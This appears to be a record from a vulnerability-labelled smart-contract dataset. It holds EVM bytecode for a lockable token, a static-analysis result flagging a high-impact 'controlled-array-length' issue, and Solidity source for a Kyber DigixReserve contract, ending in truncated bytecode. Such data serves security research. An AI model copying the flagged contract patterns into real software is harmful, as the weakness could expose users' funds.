0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105cb565b604080519115158252519081900360200190f35b6102586105e1565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105e8565b6102a86106cf565b6040805160ff9092168252519081900360200190f35b6102586106d4565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106e3565b6102fa610724565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610811565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108ba565b6040805192835260208301919091528051918290030190f35b61023c610933565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610943565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109dd565b6102fa610c8b565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d74565b6103f7610e20565b604080516001600160a01b039092168252519081900360200190f35b61019b610e2f565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e51565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f4f565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f8b565b610258600480360360408110156104b557600080fd5b506001600160a01b038135811691602001351661105d565b61023c600480360360608110156104e357600080fd5b506001600160a01b038135169060208101359060400135611088565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112a5565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112c0565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b031661142f565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b031661144d565b604051806040016040528060098152602001600160b81b684d696e69204c6966650281525081565b60006105d83384846114aa565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106425760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106b35760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106bc8461159c565b6106c78484846117bf565b949350505050565b601281565b6a295be96e6406697200000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d891859061071f908663ffffffff61181116565b6114aa565b6003546001600160a01b031633146107755760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107d65760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108625760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108e157fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061091657fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109bc576001600160a01b038416600090815260056020526040902080546109b291908390811061099157fe5b9060005260206000209060020201600101548361181190919063ffffffff16565b9150600101610948565b506109d6816109ca8561186e565b9063ffffffff61181116565b9392505050565b6003546001600160a01b03163314610a2e5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610a9d5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610aff919083908110610ac657fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61181116565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b5357fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610b9e57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c5d576001600160a01b038216600090815260056020526040902080546000198101908110610c0057fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c3e57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c86906000198301611bb0565b505050565b6003546001600160a01b03163314610cdc5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d335760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dc55760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060038152602001600160e91b6226a6230281525081565b6003546001600160a01b03163314610ea25760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610eab8261186e565b811115610f025760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f0c8282611889565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d891859061071f908663ffffffff61195316565b3360009081526004602052604081205460ff1615610ff35760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561104a5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6110533361159c565b6109d683836119b3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110dc5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661113a5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b60035461114f906001600160a01b031661186e565b8311156111a65760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111d1908463ffffffff61195316565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d1f833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146113115760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b8161131b8461186e565b10156113715760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b03831660009081526020819052604090205461139a908363ffffffff61195316565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b0316331461149e5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114a7816119c0565b50565b6001600160a01b0383166114f257604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d856024913960400191505060405180910390fd5b6001600160a01b03821661153a57604051600160e51b62461bcd028152600401808060200182810382526022815260200180611cfd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117bb576001600160a01b03821660009081526005602052604090208054429190839081106115e657fe5b906000526020600020906002020160000154116117b3576001600160a01b03821660009081526005602052604090208054611626919083908110610ac657fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061167a57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116c557fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611788576001600160a01b03821660009081526005602052604090208054600019810190811061172757fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061176557fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117b1906000198301611bb0565b505b60010161159f565b5050565b60006117cc848484611a7a565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461180791869161071f908663ffffffff61195316565b5060019392505050565b6000828201838110156109d65760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118d157604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d3f6021913960400191505060405180910390fd5b6002546118e4908263ffffffff61195316565b6002556001600160a01b038216600090815260208190526040902054611910908263ffffffff61195316565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d1f833981519152929081900390910190a35050565b6000828211156119ad5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105d8338484611a7a565b6001600160a01b038116611a1e5760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ac257604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d606025913960400191505060405180910390fd5b6001600160a01b038216611b0a57604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cda6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b33908263ffffffff61195316565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b68908263ffffffff61181116565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d1f83398151915292918290030190a3505050565b815481835581811115610c8657600083815260209020610c86916105e59160029182028101918502015b80821115611bf45760008082556001820155600201611bda565b5090565b6001600160a01b038216611c565760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c69908263ffffffff61181116565b6002556001600160a01b038216600090815260208190526040902054611c95908263ffffffff61181116565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d1f8339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a72305820851b443f6dfa15d73fc9819bacf17f8a41883e933c37e8cb27ca6787e3d08a680029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 1,663 |
0xc8a66fe965F4e1F009C1a43f5C61Ae2672DFCfbb
|
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/ConversionRatesInterface.sol
interface ConversionRatesInterface {
function recordImbalance(
ERC20 token,
int buyAmount,
uint rateUpdateBlock,
uint currentBlock
)
public;
function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint);
}
// File: contracts/KyberReserveInterface.sol
/// @title Kyber Reserve contract
interface KyberReserveInterface {
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
// File: contracts/SanityRatesInterface.sol
interface SanityRatesInterface {
function getSanityRate(ERC20 src, ERC20 dest) public view returns(uint);
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/DigixReserve.sol
interface MakerDao {
function peek() public view returns (bytes32, bool);
}
contract DigixReserve is KyberReserveInterface, Withdrawable, Utils {
ERC20 public digix;
MakerDao public makerDaoContract;
ConversionRatesInterface public conversionRatesContract;
SanityRatesInterface public sanityRatesContract;
address public kyberNetwork;
uint maxBlockDrift = 300;
mapping(bytes32=>bool) public approvedWithdrawAddresses; // sha3(token,address)=>bool
uint public priceFeed;
bool public tradeEnabled;
uint constant internal POW_2_64 = 2 ** 64;
uint constant internal etherWei = 10 ** 18;
uint public buyTransferFee = 13;
uint public sellTransferFee = 13;
function DigixReserve(address _admin, address _kyberNetwork, ERC20 _digix) public{
require(_admin != address(0));
require(_digix != address(0));
require(_kyberNetwork != address(0));
admin = _admin;
digix = _digix;
setDecimals(digix);
kyberNetwork = _kyberNetwork;
sanityRatesContract = SanityRatesInterface(0);
conversionRatesContract = ConversionRatesInterface(0x901d);
tradeEnabled = true;
}
function () public payable {}
/// @dev Add digix price feed. Valid for @maxBlockDrift blocks
/// @param blockNumber the block this price feed was signed.
/// @param nonce the nonce with which this block was signed.
/// @param ask1KDigix ask price dollars per Kg gold == 1000 digix
/// @param bid1KDigix bid price dollars per KG gold == 1000 digix
/// @param v - v part of signature of keccak 256 hash of (block, nonce, ask, bid)
/// @param r - r part of signature of keccak 256 hash of (block, nonce, ask, bid)
/// @param s - s part of signature of keccak 256 hash of (block, nonce, ask, bid)
function setPriceFeed(
uint blockNumber,
uint nonce,
uint ask1KDigix,
uint bid1KDigix,
uint8 v,
bytes32 r,
bytes32 s
) public
{
uint prevFeedBlock;
uint prevNonce;
uint prevAsk;
uint prevBid;
(prevFeedBlock, prevNonce, prevAsk, prevBid) = getPriceFeed();
require(nonce > prevNonce);
require(blockNumber + maxBlockDrift > block.number);
require(blockNumber <= block.number);
require(verifySignature(keccak256(blockNumber, nonce, ask1KDigix, bid1KDigix), v, r, s));
priceFeed = encodePriceFeed(blockNumber, nonce, ask1KDigix, bid1KDigix);
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
if (!tradeEnabled) return 0;
if (makerDaoContract == MakerDao(0)) return 0;
uint feedBlock;
uint nonce;
uint ask1KDigix;
uint bid1KDigix;
blockNumber;
(feedBlock, nonce, ask1KDigix, bid1KDigix) = getPriceFeed();
if (feedBlock + maxBlockDrift <= block.number) return 0;
// wei per dollar from makerDao
bool isRateValid;
bytes32 dollarsPerEtherWei; //price in dollars of 1 Ether * 10**18
(dollarsPerEtherWei, isRateValid) = makerDaoContract.peek();
if (!isRateValid || uint(dollarsPerEtherWei) > MAX_RATE) return 0;
uint rate;
if (ETH_TOKEN_ADDRESS == src && digix == dest) {
//buy digix with ether == sell ether
rate = 1000 * uint(dollarsPerEtherWei) * PRECISION / etherWei / ask1KDigix;
} else if (digix == src && ETH_TOKEN_ADDRESS == dest) {
//sell digix == buy ether with digix
rate = bid1KDigix * etherWei * PRECISION / uint(dollarsPerEtherWei) / 1000;
} else {
return 0;
}
if (rate > MAX_RATE) return 0;
uint destQty = getDestQty(src, dest, srcQty, rate);
if (getBalance(dest) < destQty) return 0;
// if (sanityRatesContract != address(0)) {
// uint sanityRate = sanityRatesContract.getSanityRate(src, dest);
// if (rate > sanityRate) return 0;
// }
return rate;
}
function getPriceFeed() public view returns(uint feedBlock, uint nonce, uint ask1KDigix, uint bid1KDigix) {
(feedBlock, nonce, ask1KDigix, bid1KDigix) = decodePriceFeed(priceFeed);
}
event TradeExecute(
address indexed origin,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress
);
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS) {
require(msg.value == srcAmount);
require(ERC20(destToken) == digix);
} else {
require(ERC20(srcToken) == digix);
require(msg.value == 0);
}
}
uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate);
uint adjustedAmount;
// sanity check
require(destAmount > 0);
// collect src tokens
if (srcToken != ETH_TOKEN_ADDRESS) {
//due to fee network has less tokens. take amount less fee. reduce 1 to avoid rounding errors.
adjustedAmount = (srcAmount * (10000 - sellTransferFee) / 10000) - 1;
require(srcToken.transferFrom(msg.sender, this, adjustedAmount));
}
// send dest tokens
if (destToken == ETH_TOKEN_ADDRESS) {
destAddress.transfer(destAmount);
} else {
//add 1 to compensate for rounding errors.
adjustedAmount = (destAmount * 10000 / (10000 - buyTransferFee)) + 1;
require(destToken.transfer(destAddress, adjustedAmount));
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress);
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event WithdrawAddressApproved(ERC20 token, address addr, bool approve);
function approveWithdrawAddress(ERC20 token, address addr, bool approve) public onlyAdmin {
approvedWithdrawAddresses[keccak256(token, addr)] = approve;
WithdrawAddressApproved(token, addr, approve);
setDecimals(token);
}
event WithdrawFunds(ERC20 token, uint amount, address destination);
function withdraw(ERC20 token, uint amount, address destination) public onlyOperator returns(bool) {
require(approvedWithdrawAddresses[keccak256(token, destination)]);
if (token == ETH_TOKEN_ADDRESS) {
destination.transfer(amount);
} else {
require(token.transfer(destination, amount));
}
WithdrawFunds(token, amount, destination);
return true;
}
function setMakerDaoContract(MakerDao daoContract) public onlyAdmin{
require(daoContract != address(0));
makerDaoContract = daoContract;
}
function setKyberNetworkAddress(address _kyberNetwork) public onlyAdmin{
require(_kyberNetwork != address(0));
kyberNetwork = _kyberNetwork;
}
function setMaxBlockDrift(uint numBlocks) public onlyAdmin {
require(numBlocks > 1);
maxBlockDrift = numBlocks;
}
function setBuyFeeBps(uint fee) public onlyAdmin {
require(fee < 10000);
buyTransferFee = fee;
}
function setSellFeeBps(uint fee) public onlyAdmin {
require(fee < 10000);
sellTransferFee = fee;
}
function getBalance(ERC20 token) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return this.balance;
else
return token.balanceOf(this);
}
function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcDstQty(srcQty, srcDecimals, dstDecimals, rate);
}
function decodePriceFeed(uint input) internal pure returns(uint blockNumber, uint nonce, uint ask1KDigix, uint bid1KDigix) {
blockNumber = uint(uint64(input));
nonce = uint(uint64(input / POW_2_64));
ask1KDigix = uint(uint64(input / (POW_2_64 * POW_2_64)));
bid1KDigix = uint(uint64(input / (POW_2_64 * POW_2_64 * POW_2_64)));
}
function encodePriceFeed(uint blockNumber, uint nonce, uint ask1KDigix, uint bid1KDigix) internal pure returns(uint) {
// check overflows
require(blockNumber < POW_2_64);
require(nonce < POW_2_64);
require(ask1KDigix < POW_2_64);
require(bid1KDigix < POW_2_64);
// do encoding
uint result = blockNumber;
result |= nonce * POW_2_64;
result |= ask1KDigix * POW_2_64 * POW_2_64;
result |= bid1KDigix * POW_2_64 * POW_2_64 * POW_2_64;
return result;
}
function verifySignature(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal view returns(bool){
address signer = ecrecover(hash, v, r, s);
return operators[signer];
}
}
|
0x6060604052600436106101bd5763ffffffff60e060020a60003504166299d38681146101bf57806301a12fd3146101e657806315b3789914610205578063267822471461022457806327a099d81461025357806327ed810d146102b957806334119d15146102cf5780633ccdbb28146102e5578063408ee7fe1461030e57806347e6924f1461032d5780634e52678e14610340578063546dc71c1461035357806369328dec1461037d5780636940030f146103a65780636cf69811146103b9578063741bef1a146103e557806375829def1461040a57806377241a5f1461042957806377f50f971461043c5780637acc86781461044f5780637c423f541461046e5780637cd44272146104815780638ce72064146104ac5780639058c8a4146104cb5780639870d7fe146104e15780639e87a5cd14610500578063ac8a584a1461053e578063b78b842d1461055d578063ce56c45414610570578063d5847d3314610592578063d621e813146105a5578063d7b7024d146105b8578063e4b5762a146105ce578063e769dfbd146105f9578063ecef615b1461060c578063f851a4401461061f578063f8b2cb4f14610632578063fa64dffa14610651575b005b34156101ca57600080fd5b6101d261067c565b604051901515815260200160405180910390f35b34156101f157600080fd5b6101bd600160a060020a03600435166106e4565b341561021057600080fd5b6101bd600160a060020a0360043516610854565b341561022f57600080fd5b6102376108a6565b604051600160a060020a03909116815260200160405180910390f35b341561025e57600080fd5b6102666108b5565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102a557808201518382015260200161028d565b505050509050019250505060405180910390f35b34156102c457600080fd5b6101bd60043561091d565b34156102da57600080fd5b6101bd60043561094a565b34156102f057600080fd5b6101bd600160a060020a036004358116906024359060443516610978565b341561031957600080fd5b6101bd600160a060020a0360043516610a6f565b341561033857600080fd5b610237610b6b565b341561034b57600080fd5b610237610b7a565b341561035e57600080fd5b6101bd600160a060020a03600435811690602435166044351515610b89565b341561038857600080fd5b6101d2600160a060020a036004358116906024359060443516610c68565b34156103b157600080fd5b6101d2610e26565b6101d2600160a060020a03600435811690602435906044358116906064351660843560a4351515610e93565b34156103f057600080fd5b6103f86111a4565b60405190815260200160405180910390f35b341561041557600080fd5b6101bd600160a060020a03600435166111aa565b341561043457600080fd5b610237611245565b341561044757600080fd5b6101bd611254565b341561045a57600080fd5b6101bd600160a060020a03600435166112ee565b341561047957600080fd5b6102666113d0565b341561048c57600080fd5b6103f8600160a060020a03600435811690602435166044356064